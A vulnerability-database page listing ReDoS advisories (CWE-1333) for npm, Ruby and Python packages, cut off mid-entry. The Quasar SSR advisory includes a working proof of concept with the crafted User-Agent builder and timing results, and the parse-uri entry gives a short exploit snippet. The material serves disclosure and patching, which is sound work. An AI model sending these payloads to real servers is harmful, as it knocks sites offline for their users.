Common Weakness Enumeration

CWE-1333

Allowed

Inefficient Regular Expression Complexity

Abstraction: Base · Status: Draft

The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.

909 vulnerabilities reference this CWE, most recent first.

GHSA-65X3-RW7Q-GX94

Vulnerability from github – Published: 2026-05-18 17:40 – Updated: 2026-05-18 17:40
VLAI
Summary
multiparty vulnerable to ReDoS via filename parsing
Details

Impact

multiparty@4.2.3 and lower versions are vulnerable to denial of service via regular expression backtracking in the Content-Disposition filename parameter parser. A multipart upload with a long header value containing !filename="1 repeated can cause regex matching to take seconds, blocking the event loop. Any service accepting multipart uploads via multiparty is affected.

Patches

Users should upgrade to multiparty@4.3.0 or higher.

Workarounds

None. Limiting upload sizes at the proxy/gateway layer reduces but does not eliminate the attack surface, since a small ~8 KB header is sufficient to trigger the vulnerable backtracking.

Resources

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "multiparty"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-8159"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T17:40:10Z",
    "nvd_published_at": "2026-05-12T10:16:48Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nmultiparty@4.2.3 and lower versions are vulnerable to denial of service via regular expression backtracking in the `Content-Disposition` filename parameter parser. A multipart upload with a long header value containing `!filename=\"1` repeated can cause regex matching to take seconds, blocking the event loop. Any service accepting multipart uploads via multiparty is affected.\n\n### Patches\n\nUsers should upgrade to multiparty@4.3.0 or higher.\n\n### Workarounds\n\nNone. Limiting upload sizes at the proxy/gateway layer reduces but does not eliminate the attack surface, since a small ~8 KB header is sufficient to trigger the vulnerable backtracking.\n\n### Resources\n\n- [OWASP: Regular expression Denial of Service (ReDoS)](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)",
  "id": "GHSA-65x3-rw7q-gx94",
  "modified": "2026-05-18T17:40:10Z",
  "published": "2026-05-18T17:40:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pillarjs/multiparty/security/advisories/GHSA-65x3-rw7q-gx94"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8159"
    },
    {
      "type": "WEB",
      "url": "https://cna.openjsf.org/security-advisories.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pillarjs/multiparty"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pillarjs/multiparty/releases/tag/v4.3.0"
    },
    {
      "type": "WEB",
      "url": "https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "multiparty vulnerable to ReDoS via filename parsing"
}

GHSA-68JQ-FHCH-4XQ4

Vulnerability from github – Published: 2026-10-07 16:14 – Updated: 2026-10-07 16:14
VLAI
Summary
Quasar Framework: Super-linear regex backtracking on User-Agent lets one request stall a Quasar SSR server
Details

Summary

One unauthenticated request with a crafted User-Agent stalls a Quasar SSR server for seconds.

Quasar auto-installs its Platform plugin on every server-side render, and Platform.parseSSR() feeds the raw, unbounded User-Agent request header into a chain of backtracking regular expressions in getMatch(). One of those patterns contains a greedy capture followed by two unbounded .* scans, so a crafted header costs time proportional to the cube of its length. An 8 KB User-Agent blocks the Node.js event loop for about 4.4 seconds, and a 16 KB one for about 35 seconds. During that time the server answers nobody, so a handful of tiny requests take an SSR site completely offline.

Details

Platform is in the autoInstalledPlugins array in ui/src/install-quasar.js, so it is installed unconditionally by app.use(Quasar, ...). The generated SSR entry (app-vite/templates/entry/app.js, called from app-vite/templates/entry/server-entry.js) runs that for every HTTP request, and it runs before routing, so requests to paths that do not exist are affected too. On the server the plugin takes the header verbatim (ui/src/plugins/platform/Platform.js):

Platform.parseSSR = ssrContext => {
  const ua =
    ssrContext.req.headers['user-agent'] ||
    ssrContext.req.headers['User-Agent'] ||
    ''

  return { ...client, userAgent: ua, is: getPlatform(ua) }
}

getPlatform() lowercases the string and passes it to getMatch() (ui/src/plugins/platform/Platform.js:23-45), which evaluates an ordered chain of exec() calls. The sixth alternative, at ui/src/plugins/platform/Platform.js:32-34, is the problem:

/(webkit)[\/]([\w.]+).*(version)[\/]([\w.]+).*(safari)[\/]([\w.]+)/.exec(userAgent)

([\w.]+) is greedy and unbounded, and it is followed by two unbounded .* scans. When the input contains webkit/, many version/ tokens, and no safari/, the pattern can only fail after the engine has tried every combination of "where ([\w.]+) stops" against "which version occurrence the first .* lands on" against "how far the second .* searches for safari". That is O(k * m * L) states, and none of the earlier alternatives short-circuit it because none of them match. The fifth alternative has the same shape.

Measured on the functions loaded verbatim out of ui/src/plugins/platform/Platform.js, cost grows by a factor of eight for every doubling of the header:

UA   3998 B  ->      554 ms
UA   7998 B  ->     4368 ms      fits nginx default large_client_header_buffers 8k
UA  15998 B  ->    34995 ms      fits Node.js default --max-http-header-size 16k

A same-length header of ordinary characters costs 0.1 ms, so this is the regex and not the length.

Client-side rendering is not affected: there getPlatform() only ever sees navigator.userAgent, which the attacker does not control. The problem is specific to the SSR path, where the string arrives from the network.

PoC

The vulnerable pattern ships in the published package. From node_modules/quasar/dist/quasar.server.prod.js of quasar@2.23.1:

function M(e,t){let n=/(edg|edge|edga|edgios)\/([\w.]+)/.exec(e)||...
  ||/(webkit)[\/]([\w.]+).*(version)[\/]([\w.]+).*(safari)[\/]([\w.]+)/.exec(e)||...
I.parseSSR=e=>{let t=e.req.headers[`user-agent`]||e.req.headers[`User-Agent`]||``;
               return{...F,userAgent:t,is:P(t)}};

Build the header:

const k = 3200                       // filler that maximises the greedy capture
const m = 479                        // "version/" tokens for the first .* to land on
const ua = 'webkit/' + 'a'.repeat(k) + ' ' + 'version/1 '.repeat(m)   // 7998 bytes

Server used for the end to end run, which performs exactly the per-request work Quasar SSR performs, through the real published package:

import http from 'node:http'
import { Platform } from 'quasar'          // resolves to dist/quasar.server.prod.js

http.createServer((req, res) => {
  const platform = Platform.parseSSR({ req, res })   // what app.use(Quasar, ...) does
  res.end(`<!doctype html><html><body>browser=${platform.is.name}</body></html>`)
}).listen(3100, '127.0.0.1')

Results of driving that server with the 7998-byte header:

[1] BASELINE - normal browser UA
  benign UA, GET /                       status=200        13 ms
  benign UA, GET / (2nd)                 status=200         1 ms

[2] NEGATIVE CONTROL - benign UA of the SAME 7998-byte length
  same-size benign UA                    status=200         2 ms

[3] POSITIVE - crafted User-Agent
  malicious UA, GET /                    status=200      4355 ms

[4] POSITIVE - crafted UA against a NON-EXISTENT route
  malicious UA, GET /404path             status=200      4319 ms

[5] REALIZED IMPACT - attacker sends 1 request, a normal user arrives 120 ms later
  attacker (malicious UA)                status=200      4329 ms
  VICTIM (normal browser, benign UA)     status=200      4208 ms

[6] SUSTAINED - 5 attacker requests in flight, victim loads the site
  VICTIM during 5-request flood          status=200     21646 ms

Step 5 is the part that matters. The victim sends an ordinary request with an ordinary User-Agent and waits 4.2 seconds for it, because the event loop is busy backtracking on somebody else's header. Step 6 shows 39 KB of attacker traffic buying 21.6 seconds of total unavailability.

Negative control on the library itself. One line changed in the installed node_modules/quasar/dist/quasar.server.prod.js:

-  I.parseSSR=e=>{let t=...;return{...F,userAgent:t,is:P(t)}};
+  I.parseSSR=e=>{let t=...;return{...F,userAgent:t,is:P(t.slice(0,512))}};

Re-running the identical attack against the patched build:

[3] malicious UA, GET /                  status=200         2 ms   was 4355 ms
[4] malicious UA, GET /404path           status=200         2 ms   was 4319 ms
[5] VICTIM (normal browser)              status=200         3 ms   was 4208 ms
[6] VICTIM during 5-request flood        status=200         2 ms   was 21646 ms

Detection of real browsers is unchanged by the cap (chrome 126.0.0.0, platform linux), which confirms the blow-up comes from the unbounded attacker string reaching the regex and nothing else.

The same numbers come out of a server that never touches parseSSR directly and instead boots Quasar the way the generated entry does, letting install-quasar.js run the auto-installed plugin list on its own:

const ssrContext = { req, res }
const app = createSSRApp(RootComponent)
app.use(Quasar, {}, ssrContext)
const html = await renderToString(app, ssrContext)
[3] malicious UA, GET /                  status=200      4354 ms
[5] VICTIM (normal browser, benign UA)   status=200      4269 ms
[6] VICTIM during 5-request flood        status=200     21872 ms
[2] same-size benign UA (7998 B)         status=200         2 ms

Impact

Uncontrolled resource consumption through inefficient regular expression complexity. Any app built and served in SSR mode is affected, including SSR plus PWA, in both quasar dev -m ssr and quasar build -m ssr. There is no configuration that turns it off, because Platform is part of the auto-installed plugin set, and no authentication or user interaction is involved: a single unauthenticated GET to any path carries the payload.

Node.js is single threaded, so the cost is not paid by the attacker's connection alone. Every other visitor is queued behind it. Roughly 40 KB of traffic buys 20 seconds of downtime in the measurements above, and the cost scales with the cube of the header size, so an attacker who can send 16 KB headers gets about 35 seconds per request. Common reverse proxies do not help: nginx accepts an 8 KB header line by default and Node accepts 16 KB.

Apps built for SPA, PWA, Electron, Cordova, Capacitor or browser-extension targets are not affected, since there the parser only ever sees the local navigator.userAgent. Static site generation is not affected either, because the ssrContext used there is supplied by the developer rather than by a request.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.23.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "quasar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.23.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-106104"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-07T16:14:31Z",
    "nvd_published_at": "2026-10-06T18:16:51Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nOne unauthenticated request with a crafted `User-Agent` stalls a Quasar SSR server for seconds.\n\nQuasar auto-installs its `Platform` plugin on every server-side render, and `Platform.parseSSR()` feeds the raw, unbounded `User-Agent` request header into a chain of backtracking regular expressions in `getMatch()`. One of those patterns contains a greedy capture followed by two unbounded `.*` scans, so a crafted header costs time proportional to the cube of its length. An 8 KB `User-Agent` blocks the Node.js event loop for about 4.4 seconds, and a 16 KB one for about 35 seconds. During that time the server answers nobody, so a handful of tiny requests take an SSR site completely offline.\n\n### Details\n\n`Platform` is in the `autoInstalledPlugins` array in `ui/src/install-quasar.js`, so it is installed unconditionally by `app.use(Quasar, ...)`. The generated SSR entry (`app-vite/templates/entry/app.js`, called from `app-vite/templates/entry/server-entry.js`) runs that for every HTTP request, and it runs before routing, so requests to paths that do not exist are affected too. On the server the plugin takes the header verbatim (`ui/src/plugins/platform/Platform.js`):\n\n```js\nPlatform.parseSSR = ssrContext =\u003e {\n  const ua =\n    ssrContext.req.headers[\u0027user-agent\u0027] ||\n    ssrContext.req.headers[\u0027User-Agent\u0027] ||\n    \u0027\u0027\n\n  return { ...client, userAgent: ua, is: getPlatform(ua) }\n}\n```\n\n`getPlatform()` lowercases the string and passes it to `getMatch()` (`ui/src/plugins/platform/Platform.js:23-45`), which evaluates an ordered chain of `exec()` calls. The sixth alternative, at `ui/src/plugins/platform/Platform.js:32-34`, is the problem:\n\n```js\n/(webkit)[\\/]([\\w.]+).*(version)[\\/]([\\w.]+).*(safari)[\\/]([\\w.]+)/.exec(userAgent)\n```\n\n`([\\w.]+)` is greedy and unbounded, and it is followed by two unbounded `.*` scans. When the input contains `webkit/`, many `version/` tokens, and no `safari/`, the pattern can only fail after the engine has tried every combination of \"where `([\\w.]+)` stops\" against \"which `version` occurrence the first `.*` lands on\" against \"how far the second `.*` searches for `safari`\". That is O(k * m * L) states, and none of the earlier alternatives short-circuit it because none of them match. The fifth alternative has the same shape.\n\nMeasured on the functions loaded verbatim out of `ui/src/plugins/platform/Platform.js`, cost grows by a factor of eight for every doubling of the header:\n\n```\nUA   3998 B  -\u003e      554 ms\nUA   7998 B  -\u003e     4368 ms      fits nginx default large_client_header_buffers 8k\nUA  15998 B  -\u003e    34995 ms      fits Node.js default --max-http-header-size 16k\n```\n\nA same-length header of ordinary characters costs 0.1 ms, so this is the regex and not the length.\n\nClient-side rendering is not affected: there `getPlatform()` only ever sees `navigator.userAgent`, which the attacker does not control. The problem is specific to the SSR path, where the string arrives from the network.\n\n### PoC\n\nThe vulnerable pattern ships in the published package. From `node_modules/quasar/dist/quasar.server.prod.js` of `quasar@2.23.1`:\n\n```\nfunction M(e,t){let n=/(edg|edge|edga|edgios)\\/([\\w.]+)/.exec(e)||...\n  ||/(webkit)[\\/]([\\w.]+).*(version)[\\/]([\\w.]+).*(safari)[\\/]([\\w.]+)/.exec(e)||...\nI.parseSSR=e=\u003e{let t=e.req.headers[`user-agent`]||e.req.headers[`User-Agent`]||``;\n               return{...F,userAgent:t,is:P(t)}};\n```\n\nBuild the header:\n\n```js\nconst k = 3200                       // filler that maximises the greedy capture\nconst m = 479                        // \"version/\" tokens for the first .* to land on\nconst ua = \u0027webkit/\u0027 + \u0027a\u0027.repeat(k) + \u0027 \u0027 + \u0027version/1 \u0027.repeat(m)   // 7998 bytes\n```\n\nServer used for the end to end run, which performs exactly the per-request work Quasar SSR performs, through the real published package:\n\n```js\nimport http from \u0027node:http\u0027\nimport { Platform } from \u0027quasar\u0027          // resolves to dist/quasar.server.prod.js\n\nhttp.createServer((req, res) =\u003e {\n  const platform = Platform.parseSSR({ req, res })   // what app.use(Quasar, ...) does\n  res.end(`\u003c!doctype html\u003e\u003chtml\u003e\u003cbody\u003ebrowser=${platform.is.name}\u003c/body\u003e\u003c/html\u003e`)\n}).listen(3100, \u0027127.0.0.1\u0027)\n```\n\nResults of driving that server with the 7998-byte header:\n\n```\n[1] BASELINE - normal browser UA\n  benign UA, GET /                       status=200        13 ms\n  benign UA, GET / (2nd)                 status=200         1 ms\n\n[2] NEGATIVE CONTROL - benign UA of the SAME 7998-byte length\n  same-size benign UA                    status=200         2 ms\n\n[3] POSITIVE - crafted User-Agent\n  malicious UA, GET /                    status=200      4355 ms\n\n[4] POSITIVE - crafted UA against a NON-EXISTENT route\n  malicious UA, GET /404path             status=200      4319 ms\n\n[5] REALIZED IMPACT - attacker sends 1 request, a normal user arrives 120 ms later\n  attacker (malicious UA)                status=200      4329 ms\n  VICTIM (normal browser, benign UA)     status=200      4208 ms\n\n[6] SUSTAINED - 5 attacker requests in flight, victim loads the site\n  VICTIM during 5-request flood          status=200     21646 ms\n```\n\nStep 5 is the part that matters. The victim sends an ordinary request with an ordinary `User-Agent` and waits 4.2 seconds for it, because the event loop is busy backtracking on somebody else\u0027s header. Step 6 shows 39 KB of attacker traffic buying 21.6 seconds of total unavailability.\n\nNegative control on the library itself. One line changed in the installed `node_modules/quasar/dist/quasar.server.prod.js`:\n\n```\n-  I.parseSSR=e=\u003e{let t=...;return{...F,userAgent:t,is:P(t)}};\n+  I.parseSSR=e=\u003e{let t=...;return{...F,userAgent:t,is:P(t.slice(0,512))}};\n```\n\nRe-running the identical attack against the patched build:\n\n```\n[3] malicious UA, GET /                  status=200         2 ms   was 4355 ms\n[4] malicious UA, GET /404path           status=200         2 ms   was 4319 ms\n[5] VICTIM (normal browser)              status=200         3 ms   was 4208 ms\n[6] VICTIM during 5-request flood        status=200         2 ms   was 21646 ms\n```\n\nDetection of real browsers is unchanged by the cap (`chrome 126.0.0.0`, platform `linux`), which confirms the blow-up comes from the unbounded attacker string reaching the regex and nothing else.\n\nThe same numbers come out of a server that never touches `parseSSR` directly and instead boots Quasar the way the generated entry does, letting `install-quasar.js` run the auto-installed plugin list on its own:\n\n```js\nconst ssrContext = { req, res }\nconst app = createSSRApp(RootComponent)\napp.use(Quasar, {}, ssrContext)\nconst html = await renderToString(app, ssrContext)\n```\n\n```\n[3] malicious UA, GET /                  status=200      4354 ms\n[5] VICTIM (normal browser, benign UA)   status=200      4269 ms\n[6] VICTIM during 5-request flood        status=200     21872 ms\n[2] same-size benign UA (7998 B)         status=200         2 ms\n```\n\n### Impact\n\nUncontrolled resource consumption through inefficient regular expression complexity. Any app built and served in SSR mode is affected, including SSR plus PWA, in both `quasar dev -m ssr` and `quasar build -m ssr`. There is no configuration that turns it off, because `Platform` is part of the auto-installed plugin set, and no authentication or user interaction is involved: a single unauthenticated GET to any path carries the payload.\n\nNode.js is single threaded, so the cost is not paid by the attacker\u0027s connection alone. Every other visitor is queued behind it. Roughly 40 KB of traffic buys 20 seconds of downtime in the measurements above, and the cost scales with the cube of the header size, so an attacker who can send 16 KB headers gets about 35 seconds per request. Common reverse proxies do not help: nginx accepts an 8 KB header line by default and Node accepts 16 KB.\n\nApps built for SPA, PWA, Electron, Cordova, Capacitor or browser-extension targets are not affected, since there the parser only ever sees the local `navigator.userAgent`. Static site generation is not affected either, because the `ssrContext` used there is supplied by the developer rather than by a request.",
  "id": "GHSA-68jq-fhch-4xq4",
  "modified": "2026-10-07T16:14:31Z",
  "published": "2026-10-07T16:14:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/quasarframework/quasar/security/advisories/GHSA-68jq-fhch-4xq4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106104"
    },
    {
      "type": "WEB",
      "url": "https://github.com/quasarframework/quasar/commit/7a954ddafa756afe95c8f633f48ed68a07209d3d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/quasarframework/quasar"
    },
    {
      "type": "WEB",
      "url": "https://github.com/quasarframework/quasar/releases/tag/quasar-v2.23.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Quasar Framework: Super-linear regex backtracking on User-Agent lets one request stall a Quasar SSR server"
}

GHSA-68QG-G787-3RP5

Vulnerability from github – Published: 2024-10-26 21:30 – Updated: 2024-10-28 14:50
VLAI
Summary
Knwl.js Regular Expression Denial of Service vulnerability
Details

Knwl.js is a Javascript library that parses through text for dates, times, phone numbers, emails, places, and more. Versions 1.0.2 and prior contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS). As of time of publication, no known patches are available.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "knwl.js"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-26306"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-28T14:50:17Z",
    "nvd_published_at": "2024-10-26T21:15:13Z",
    "severity": "MODERATE"
  },
  "details": "Knwl.js is a Javascript library that parses through text for dates, times, phone numbers, emails, places, and more. Versions 1.0.2 and prior contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS). As of time of publication, no known patches are available.",
  "id": "GHSA-68qg-g787-3rp5",
  "modified": "2024-10-28T14:50:17Z",
  "published": "2024-10-26T21:30:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26306"
    },
    {
      "type": "WEB",
      "url": "https://github.com/benhmoore/Knwl/issues/106"
    },
    {
      "type": "WEB",
      "url": "https://github.com/benhmoore/Knwl/commit/88aa966b1415a167c7c91b70053b72c7762c1cc0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/benhmoore/Knwl"
    },
    {
      "type": "ADVISORY",
      "url": "https://securitylab.github.com/advisories/GHSL-2020-296-redos-Knwl.js"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U/U:Green",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Knwl.js Regular Expression Denial of Service vulnerability"
}

GHSA-6C34-F5WX-M58M

Vulnerability from github – Published: 2026-09-18 18:31 – Updated: 2026-09-18 18:31
VLAI
Details

An inefficient regular expression complexity issue in the in-memory query evaluation component of the Mongoid library may allow an unauthenticated party to cause excessive processing within an embedding application process. Applications that place user-supplied text into a pattern-matching query condition on an embedded association may become unresponsive.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-93761"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-18T18:18:34Z",
    "severity": "HIGH"
  },
  "details": "An inefficient regular expression complexity issue in the in-memory query evaluation component of the Mongoid library may allow an unauthenticated party to cause excessive processing within an embedding application process. Applications that place user-supplied text into a pattern-matching query condition on an embedded association may become unresponsive.",
  "id": "GHSA-6c34-f5wx-m58m",
  "modified": "2026-09-18T18:31:44Z",
  "published": "2026-09-18T18:31:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-93761"
    },
    {
      "type": "WEB",
      "url": "https://jira.mongodb.org/browse/MONGOID-5981"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-6FX8-H7JM-663J

Vulnerability from github – Published: 2025-01-16 00:31 – Updated: 2025-09-03 12:56
VLAI
Summary
parse-uri Regular expression Denial of Service (ReDoS)
Details

An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL. ## PoC

async function exploit() {
    const parseuri = require("parse-uri");
    // This input is designed to cause excessive backtracking in the regex
    const craftedInput = 'http://example.com/' + 'a'.repeat(30000) + '?key=value';
    const result = await parseuri(craftedInput);
    }
await exploit();
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "parse-uri"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.0.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 2.0.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "parseuri"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-36751"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-185"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-01-17T15:39:05Z",
    "nvd_published_at": "2025-01-15T22:15:26Z",
    "severity": "MODERATE"
  },
  "details": "An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL.\n ## PoC\n```js\nasync function exploit() {\n    const parseuri = require(\"parse-uri\");\n    // This input is designed to cause excessive backtracking in the regex\n    const craftedInput = \u0027http://example.com/\u0027 + \u0027a\u0027.repeat(30000) + \u0027?key=value\u0027;\n    const result = await parseuri(craftedInput);\n    }\nawait exploit();\n```",
  "id": "GHSA-6fx8-h7jm-663j",
  "modified": "2025-09-03T12:56:48Z",
  "published": "2025-01-16T00:31:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-36751"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Kikobeats/parse-uri/issues/14"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/6en6ar/78168687da94e8aa2e0357f2456b0233"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "parse-uri Regular expression Denial of Service (ReDoS)"
}

GHSA-6FXP-P9MG-Q64W

Vulnerability from github – Published: 2025-08-20 03:30 – Updated: 2025-08-29 20:14
Withdrawn 2025-08-29 VLAI
Summary
Withdrawn Advisory: Microsoft Knack ReDoS Vulnerability in the Introspection Module
Details

Withdrawn Advisory

This advisory has been withdrawn because the attack surface of this vulnerability is outside of Knack's intended functionality. The maintainer states the following:

These CVEs are invalid. Knack is a CLI framework used by Azure CLI. It's a local library, not a web service. In addition, the regex is used to extract function and parameter docstrings from the source code. It is not used to match user input. Therefore, it does not expose any attack surface. There is no way to use it for ReDoS attack.

This link is maintained to preserve external references.

Original Description

Microsoft Knack 0.12.0 allows Regular expression Denial of Service (ReDoS) in the knack.introspection module (issue 1 of 2).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "knack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.12.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-54363"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-21T15:00:54Z",
    "nvd_published_at": "2025-08-20T03:15:35Z",
    "severity": "LOW"
  },
  "details": "### Withdrawn Advisory\nThis advisory has been withdrawn because the attack surface of this vulnerability is outside of Knack\u0027s intended functionality. The maintainer states the following:\n\n\u003e These CVEs are invalid. Knack is a CLI framework used by [Azure CLI](https://github.com/Azure/azure-cli). It\u0027s a local library, not a web service. In addition, the regex is used to extract function and parameter docstrings from the source code. It is not used to match user input. Therefore, it does not expose any attack surface. There is no way to use it for ReDoS attack.\n\nThis link is maintained to preserve external references.\n\n### Original Description\nMicrosoft Knack 0.12.0 allows Regular expression Denial of Service (ReDoS) in the knack.introspection module (issue 1 of 2).",
  "id": "GHSA-6fxp-p9mg-q64w",
  "modified": "2025-08-29T20:14:31Z",
  "published": "2025-08-20T03:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54363"
    },
    {
      "type": "WEB",
      "url": "https://github.com/microsoft/knack/issues/281"
    },
    {
      "type": "WEB",
      "url": "https://github.com/microsoft/knack/issues/281#issuecomment-3218922941"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/microsoft/knack"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/microsoft-knack-python-package-regular-expression-dos"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Withdrawn Advisory: Microsoft Knack ReDoS Vulnerability in the Introspection Module",
  "withdrawn": "2025-08-29T20:14:31Z"
}

GHSA-6G33-8W2Q-4HXV

Vulnerability from github – Published: 2023-01-05 12:30 – Updated: 2023-01-11 23:01
VLAI
Summary
robots-txt-guard Inefficient Regular Expression Complexity vulnerability
Details

A vulnerability was found in Woorank robots-txt-guard. It has been rated as problematic. Affected by this issue is the function makePathPattern of the file lib/patterns.js. The manipulation of the argument pattern leads to inefficient regular expression complexity. The exploit has been disclosed to the public and may be used. The name of the patch is c03827cd2f9933619c23894ce7c98401ea824020. It is recommended to apply a patch to fix this issue. The identifier of this vulnerability is VDB-217448.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "robots-txt-guard"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-4305"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-01-09T20:04:05Z",
    "nvd_published_at": "2023-01-05T11:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability was found in Woorank robots-txt-guard. It has been rated as problematic. Affected by this issue is the function makePathPattern of the file lib/patterns.js. The manipulation of the argument pattern leads to inefficient regular expression complexity. The exploit has been disclosed to the public and may be used. The name of the patch is c03827cd2f9933619c23894ce7c98401ea824020. It is recommended to apply a patch to fix this issue. The identifier of this vulnerability is VDB-217448.",
  "id": "GHSA-6g33-8w2q-4hxv",
  "modified": "2023-01-11T23:01:14Z",
  "published": "2023-01-05T12:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-4305"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Woorank/robots-txt-guard/pull/4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Woorank/robots-txt-guard/commit/c03827cd2f9933619c23894ce7c98401ea824020"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Woorank/robots-txt-guard"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.217448"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.217448"
    }
  ],
